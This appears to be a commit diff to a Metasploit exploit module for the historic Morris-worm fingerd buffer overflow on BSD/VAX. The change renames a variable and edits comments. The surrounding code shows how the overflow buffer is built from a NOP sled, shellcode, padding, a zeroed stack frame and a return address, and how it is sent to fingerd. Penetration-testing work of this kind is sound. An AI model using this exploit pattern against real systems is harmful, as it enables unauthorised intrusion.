Explain "junk" in buffer for morris_fingerd_bof

And unrelated whitespace changes because I suck.

modules/exploits/bsd/finger/morris_fingerd_bof.rb

@@ -85,8 +85,8 @@ class MetasploitModule < Msf::Exploit::Remote
     # 0x01 is NOP in VAX-speak
     nops = "\x01" * (target.payload_space - shellcode.length)
 
-    # This overwrites part of the buffer
-    junk = rand_text_alphanumeric(109)
+    # This pads past buffer corruption
+    padding = rand_text_alphanumeric(109)
 
     # This zeroes out part of the stack frame
     frame = "\x00" * 16
@@ -95,14 +95,13 @@ class MetasploitModule < Msf::Exploit::Remote
     ret = [target.ret].pack('V') # V is for VAX!
 
     # The newline is for gets(3)
-    sploit = nops + shellcode + junk + frame + ret + "\n"
+    sploit = nops + shellcode + padding + frame + ret + "\n"
 
     # Fire away
     print_status('Connecting to fingerd')
     connect
     print_status("Sending #{sploit.length}-byte buffer")
     sock.put(sploit)
-
   # Hat tip @bcoles
   rescue Rex::ConnectionError => e
     fail_with(Failure::Unreachable, e.message)